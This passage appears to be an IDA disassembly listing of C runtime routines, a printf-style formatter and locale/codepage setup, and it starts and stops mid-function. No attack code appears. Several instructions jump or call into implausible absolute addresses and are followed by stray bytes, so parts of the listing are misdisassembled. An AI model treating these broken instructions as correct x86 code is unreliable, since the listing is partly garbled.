mov [ebp+arg_4], edi
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F83B: ; CODE XREF: sub_41F69F+186j
; sub_41F69F+18Cj
mov [ebp+var_30], edx
loc_41F83E: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
mov ecx, off_43C9D8 ; jumptable 0041F70D case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41F86A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41F86A: ; CODE XREF: sub_41F69F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
add esp, 0Ch
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F882: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 7
cmp eax, 67h
jg loc_41FAAA
cmp eax, 65h
jge loc_41F92D
cmp eax, 58h
jg loc_41F98B
jz loc_41FB1E
sub eax, 43h
jz loc_41F94E
dec eax
dec eax
jz short loc_41F923
dec eax
dec eax
jz short loc_41F923
sub eax, 0Ch
jnz loc_41FCA9
test word ptr [ebp+var_4], 830h
jnz short loc_41F8CC
or byte ptr [ebp+var_4+1], 8
loc_41F8CC: ; CODE XREF: sub_41F69F+227j
; sub_41F69F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41F8D9
mov esi, 7FFFFFFFh
loc_41F8D9: ; CODE XREF: sub_41F69F+233j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41FAF2
test ecx, ecx
jnz short loc_41F901
mov ecx, off_43CBF4
mov [ebp+var_8], ecx
loc_41F901: ; CODE XREF: sub_41F69F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41F90A: ; CODE XREF: sub_41F69F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41FAE9
cmp word ptr [eax], 0
jz loc_41FAE9
inc eax
inc eax
jmp short loc_41F90A
; ---------------------------------------------------------------------------
loc_41F923: ; CODE XREF: sub_41F69F+212j
; sub_41F69F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41F92D: ; CODE XREF: sub_41F69F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41FA11
mov [ebp+var_10], 6
jmp loc_41FA1F
; ---------------------------------------------------------------------------
loc_41F94E: ; CODE XREF: sub_41F69F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41F95A
or byte ptr [ebp+var_4+1], 8
loc_41F95A: ; CODE XREF: sub_41F69F+2B5j
; sub_41F69F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41F9A1
call sub_41FE9B
push eax
lea eax, [ebp+var_248]
push eax
call sub_423E5B
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_41F9B4
mov [ebp+var_28], 1
jmp short loc_41F9B4
; ---------------------------------------------------------------------------
loc_41F98B: ; CODE XREF: sub_41F69F+1FBj
sub eax, 5Ah
jz short loc_41F9C2
sub eax, 9
jz short loc_41F95A
dec eax
jz loc_41FB84
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j
call sub_41FE7E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j
; sub_41F69F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
jz short loc_41FA03
mov ecx, [eax+4]
test ecx, ecx
jz short loc_41FA03
test byte ptr [ebp+var_4+1], 8
jz short loc_41F9F4
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FA03: ; CODE XREF: sub_41F69F+32Fj
; sub_41F69F+336j
mov eax, off_43CBF0
mov [ebp+var_8], eax
push eax
jmp loc_41FA9F
; ---------------------------------------------------------------------------
loc_41FA11: ; CODE XREF: sub_41F69F+29Dj
jnz short loc_41FA1F
cmp bl, 67h
jnz short loc_41FA1F
mov [ebp+var_10], 1
loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj
; sub_41F69F:loc_41FA11j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43CF80
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41FA71
cmp [ebp+var_10], 0
jnz short loc_41FA71
lea eax, [ebp+var_248]
push eax
call off_43CF8C
pop ecx
loc_41FA71: ; CODE XREF: sub_41F69F+3BCj
; sub_41F69F+3C2j
cmp bl, 67h
jnz short loc_41FA88
test esi, esi
jnz short loc_41FA88
lea eax, [ebp+var_248]
push eax
call off_43CF84
pop ecx
loc_41FA88: ; CODE XREF: sub_41F69F+3D5j
; sub_41F69F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41FA9E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j
push edi
loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj
call sub_41AFE0
pop ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j
sub eax, 69h
jz loc_41FB84
sub eax, 5
jz loc_41FB5A
dec eax
jz loc_41FB47
dec eax
jz short loc_41FB17
sub eax, 3
jz loc_41F8CC
dec eax
dec eax
jz loc_41FB88
sub eax, 3
jnz loc_41FCA9
mov [ebp+var_2C], 27h
jmp short loc_41FB25
; ---------------------------------------------------------------------------
loc_41FAE9: ; CODE XREF: sub_41F69F+270j
; sub_41F69F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj
test ecx, ecx
jnz short loc_41FAFF
mov ecx, off_43CBF0
mov [ebp+var_8], ecx
loc_41FAFF: ; CODE XREF: sub_41F69F+455j
mov eax, ecx
loc_41FB01: ; CODE XREF: sub_41F69F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41FB10
cmp byte ptr [eax], 0
jz short loc_41FB10
inc eax
jmp short loc_41FB01
; ---------------------------------------------------------------------------
loc_41FB10: ; CODE XREF: sub_41F69F+467j
; sub_41F69F+46Cj
sub eax, ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FB17: ; CODE XREF: sub_41F69F+425j
mov [ebp+var_10], 8
loc_41FB1E: ; CODE XREF: sub_41F69F+201j
mov [ebp+var_2C], 7
loc_41FB25: ; CODE XREF: sub_41F69F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41FB8F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F69F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41FB8F
or byte ptr [ebp+var_4+1], 2
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB5A: ; CODE XREF: sub_41F69F+417j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41FB73
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41FB78
; ---------------------------------------------------------------------------
loc_41FB73: ; CODE XREF: sub_41F69F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41FB78: ; CODE XREF: sub_41F69F+4D2j
mov [ebp+var_28], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41FB84: ; CODE XREF: sub_41F69F+2F7j
; sub_41F69F+40Ej
or [ebp+var_4], 40h
loc_41FB88: ; CODE XREF: sub_41F69F+432j
mov [ebp+var_C], 0Ah
loc_41FB8F: ; CODE XREF: sub_41F69F+491j
; sub_41F69F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41FBA1
lea eax, [ebp+arg_8]
push eax
call sub_41FE8B
pop ecx
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41FBC8
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBBD
call sub_41FE7E
pop ecx
movsx eax, ax
loc_41FBBA: ; CODE XREF: sub_41F69F+527j
; sub_41F69F+539j
cdq
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBBD: ; CODE XREF: sub_41F69F+510j
call sub_41FE7E
pop ecx
movzx eax, ax
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBC8: ; CODE XREF: sub_41F69F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBDA
call sub_41FE7E
pop ecx
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBDA: ; CODE XREF: sub_41F69F+531j
call sub_41FE7E
pop ecx
xor edx, edx
loc_41FBE2: ; CODE XREF: sub_41F69F+500j
; sub_41F69F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41FC03
test edx, edx
jg short loc_41FC03
jl short loc_41FBF2
test eax, eax
jnb short loc_41FC03
loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41FC07
; ---------------------------------------------------------------------------
loc_41FC03: ; CODE XREF: sub_41F69F+547j
; sub_41F69F+54Bj ...
mov esi, eax
mov edi, edx
loc_41FC07: ; CODE XREF: sub_41F69F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41FC10
and edi, 0
loc_41FC10: ; CODE XREF: sub_41F69F+56Cj
cmp [ebp+var_10], 0
jge short loc_41FC1F
mov [ebp+var_10], 1
jmp short loc_41FC23
; ---------------------------------------------------------------------------
loc_41FC1F: ; CODE XREF: sub_41F69F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41FC23: ; CODE XREF: sub_41F69F+57Ej
mov eax, esi
or eax, edi
jnz short loc_41FC2D
and [ebp+var_1C], 0
loc_41FC2D: ; CODE XREF: sub_41F69F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41FC33: ; CODE XREF: sub_41F69F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_41FC43
mov eax, esi
or eax, edi
jz short loc_41FC7E
loc_41FC43: ; CODE XREF: sub_41F69F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41D480
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41D410
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41FC74
add ebx, [ebp+var_2C]
loc_41FC74: ; CODE XREF: sub_41F69F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41FC33
; ---------------------------------------------------------------------------
loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41FCA9
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41FC9C
test eax, eax
jnz short loc_41FCA9
loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj
; sub_41F69F+406j ...
mov [ebp+var_C], eax
loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj
; sub_41F69F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41FDA7 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41FCE1
test bh, 1
jz short loc_41FCC6
mov [ebp+var_16], 2Dh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj
test bl, 1
jz short loc_41FCD1
mov [ebp+var_16], 2Bh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj
test bl, 2
jz short loc_41FCE1
mov [ebp+var_16], 20h
loc_41FCDA: ; CODE XREF: sub_41F69F+625j
; sub_41F69F+630j
mov [ebp+var_1C], 1
loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj
; sub_41F69F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41FD01
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FD01: ; CODE XREF: sub_41F69F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_41FE46
add esp, 10h
test bl, 8
jz short loc_41FD33
test bl, 4
jnz short loc_41FD33
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_41FE15
add esp, 10h
loc_41FD33: ; CODE XREF: sub_41F69F+67Bj
; sub_41F69F+680j
cmp [ebp+var_24], 0
jz short loc_41FD7A
cmp [ebp+var_C], 0
jle short loc_41FD7A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41FD48: ; CODE XREF: sub_41F69F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_423E5B
pop ecx
test eax, eax
pop ecx
jle short loc_41FD8F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_41FE46
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41FD48
jmp short loc_41FD8F
; ---------------------------------------------------------------------------
loc_41FD7A: ; CODE XREF: sub_41F69F+698j
; sub_41F69F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_41FE46
add esp, 10h
loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj
; sub_41F69F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41FDA7 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FDA7: ; CODE XREF: sub_41F69F+68j
; sub_41F69F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41F6CB
loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj
; sub_41F69F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41F69F endp
; ---------------------------------------------------------------------------
off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er
dd offset loc_41F714 ; jump table for switch statement
dd offset loc_41F72F
dd offset loc_41F77B
dd offset loc_41F7B2
dd offset loc_41F7BA
dd offset loc_41F7EF
dd offset loc_41F882
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp
; sub_41F69F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_41FDF9
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_41FE04
; ---------------------------------------------------------------------------
loc_41FDF9: ; CODE XREF: sub_41FDE0+9j
push ecx
push [ebp+arg_0]
call sub_41F58A
pop ecx
pop ecx
loc_41FE04: ; CODE XREF: sub_41FDE0+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41FE11
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41FDE0 endp
; =============== S U B R O U T I N E =======================================
sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap
; sub_41F69F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_41FE43
mov esi, [esp+8+arg_C]
loc_41FE26: ; CODE XREF: sub_41FE15+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41FE43
mov eax, edi
dec edi
test eax, eax
jg short loc_41FE26
loc_41FE43: ; CODE XREF: sub_41FE15+Bj
; sub_41FE15+25j
pop edi
pop esi
retn
sub_41FE15 endp
; =============== S U B R O U T I N E =======================================
sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p
; sub_41F69F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_41FE7A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_41FE5C: ; CODE XREF: sub_41FE46+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_41FE7A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_41FE5C
loc_41FE7A: ; CODE XREF: sub_41FE46+Cj
; sub_41FE46+2Bj
pop edi
pop esi
pop ebx
retn
sub_41FE46 endp
; =============== S U B R O U T I N E =======================================
sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p
; sub_41F69F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41FE7E endp
; =============== S U B R O U T I N E =======================================
sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_41FE8B endp
; =============== S U B R O U T I N E =======================================
sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_41FE9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_420042
mov esi, eax
pop ecx
cmp esi, dword_4DCDA4
mov [ebp+arg_0], esi
jz loc_420036
xor ebx, ebx
cmp esi, ebx
jz loc_42002C
xor edx, edx
mov eax, offset dword_43CC00
loc_41FEDD: ; CODE XREF: sub_41FEA9+41j
cmp [eax], esi
jz short loc_41FF53
add eax, 30h
inc edx
cmp eax, offset dword_43CCF0
jl short loc_41FEDD
lea eax, [ebp+var_18]
push eax
push esi
nop
call near ptr 2900000h
cmp eax, 1
jnz loc_420024
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DCEC0
cmp [ebp+var_18], 1
mov dword_4DCDA4, esi
rep stosd
stosb
mov dword_4DCFC4, ebx
jbe loc_420012
cmp [ebp+var_12], 0
jz loc_41FFE8
lea ecx, [ebp+var_11]
loc_41FF30: ; CODE XREF: sub_41FEA9+139j
mov dl, [ecx]
test dl, dl
jz loc_41FFE8
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41FF41: ; CODE XREF: sub_41FEA9+A8j
cmp eax, edx
ja loc_41FFDC
or byte_4DCEC1[eax], 4
inc eax
jmp short loc_41FF41
; ---------------------------------------------------------------------------
loc_41FF53: ; CODE XREF: sub_41FEA9+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DCEC0
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43CC10[esi]
loc_41FF6F: ; CODE XREF: sub_41FEA9+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41FFA2
loc_41FF76: ; CODE XREF: sub_41FEA9+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41FFA2
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41FF9B
mov edx, [ebp+var_4]
mov dl, byte_43CBF8[edx]
loc_41FF90: ; CODE XREF: sub_41FEA9+F0j
or byte_4DCEC1[eax], dl
inc eax
cmp eax, edi
jbe short loc_41FF90
loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41FF76
loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj
; sub_41FEA9+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41FF6F
mov eax, [ebp+arg_0]
mov dword_4DCDBC, 1
push eax
mov dword_4DCDA4, eax
call sub_42008C
lea esi, dword_43CC04[esi]
mov edi, offset dword_4DCDB0
movsd
movsd
pop ecx
mov dword_4DCFC4, eax
movsd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41FF30
loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej
; sub_41FEA9+8Bj
push 1
pop eax
loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj
or byte_4DCEC1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41FFEB
push esi
call sub_42008C
pop ecx
mov dword_4DCFC4, eax
mov dword_4DCDBC, 1
jmp short loc_420018
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FEA9+74j
mov dword_4DCDBC, ebx
loc_420018: ; CODE XREF: sub_41FEA9+167j
xor eax, eax
mov edi, offset dword_4DCDB0
stosd
stosd
stosd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_420024: ; CODE XREF: sub_41FEA9+51j
cmp dword_4DB9E0, ebx
jz short loc_42003A
loc_42002C: ; CODE XREF: sub_41FEA9+27j
call sub_4200BF
loc_420031: ; CODE XREF: sub_41FEA9+131j
; sub_41FEA9+179j
call sub_4200E8
loc_420036: ; CODE XREF: sub_41FEA9+1Dj
xor eax, eax
jmp short loc_42003D
; ---------------------------------------------------------------------------
loc_42003A: ; CODE XREF: sub_41FEA9+181j
or eax, 0FFFFFFFFh
loc_42003D: ; CODE XREF: sub_41FEA9+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FEA9 endp
; =============== S U B R O U T I N E =======================================
sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DB9E0, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420062
mov dword_4DB9E0, 1
jmp near ptr 26908FBh
; ---------------------------------------------------------------------------
db 32h
; ---------------------------------------------------------------------------
loc_420062: ; CODE XREF: sub_420042+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420077
mov dword_4DB9E0, 1
jmp near ptr 2900782h
; ---------------------------------------------------------------------------
db 71h
; ---------------------------------------------------------------------------
loc_420077: ; CODE XREF: sub_420042+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42008B
mov eax, dword_4DBA24
mov dword_4DB9E0, 1
locret_42008B: ; CODE XREF: sub_420042+38j
retn
sub_420042 endp
; =============== S U B R O U T I N E =======================================
sub_42008C proc near ; CODE XREF: sub_41FEA9+118p
; sub_41FEA9+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_4200B9
sub eax, 4
jz short loc_4200B3
sub eax, 0Dh
jz short loc_4200AD
dec eax
jz short loc_4200A7
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4200A7: ; CODE XREF: sub_42008C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_4200AD: ; CODE XREF: sub_42008C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_4200B3: ; CODE XREF: sub_42008C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_42008C+9j
mov eax, 411h
retn
sub_42008C endp
; =============== S U B R O U T I N E =======================================
sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DCEC0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DCDB0
mov dword_4DCDA4, eax
mov dword_4DCDBC, eax
mov dword_4DCFC4, eax
stosd
stosd
stosd
pop edi
retn
sub_4200BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DCDA4
call near ptr 2900000h
nop
cmp eax, 1
jnz loc_420221
xor eax, eax
mov esi, 100h
loc_420112: ; CODE XREF: sub_4200E8+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_420112
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420163
push ebx
push edi
lea edx, [ebp+var_D]
loc_420131: ; CODE XREF: sub_4200E8+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_420158
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_420158: ; CODE XREF: sub_4200E8+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_420131
pop edi
pop ebx
loc_420163: ; CODE XREF: sub_4200E8+42j
push 0
lea eax, [ebp+var_514]
push dword_4DCFC4
push dword_4DCDA4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_423CEC
push 0
lea eax, [ebp+var_214]
push dword_4DCDA4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DCFC4
call sub_422ACA
push 0
lea eax, [ebp+var_314]
push dword_4DCDA4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DCFC4
call sub_422ACA
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_4201DE: ; CODE XREF: sub_4200E8+135j
mov dx, [ecx]
test dl, 1
jz short loc_4201FC
or byte_4DCEC1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_4201F4: ; CODE XREF: sub_4200E8+127j
mov byte_4DCDC0[eax], dl
jmp short loc_420218
; ---------------------------------------------------------------------------
loc_4201FC: ; CODE XREF: sub_4200E8+FCj
test dl, 2
jz short loc_420211
or byte_4DCEC1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_4201F4
; ---------------------------------------------------------------------------
loc_420211: ; CODE XREF: sub_4200E8+117j
and byte_4DCDC0[eax], 0
loc_420218: ; CODE XREF: sub_4200E8+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_4201DE
jmp short loc_42026A
; ---------------------------------------------------------------------------
loc_420221: ; CODE XREF: sub_4200E8+1Dj
xor eax, eax
mov esi, 100h
loc_420228: ; CODE XREF: sub_4200E8+180j
cmp eax, 41h
jb short loc_420246
cmp eax, 5Ah
ja short loc_420246
or byte_4DCEC1[eax], 10h
mov cl, al
add cl, 20h
loc_42023E: ; CODE XREF: sub_4200E8+174j
mov byte_4DCDC0[eax], cl
jmp short loc_420265
; ---------------------------------------------------------------------------
loc_420246: ; CODE XREF: sub_4200E8+143j
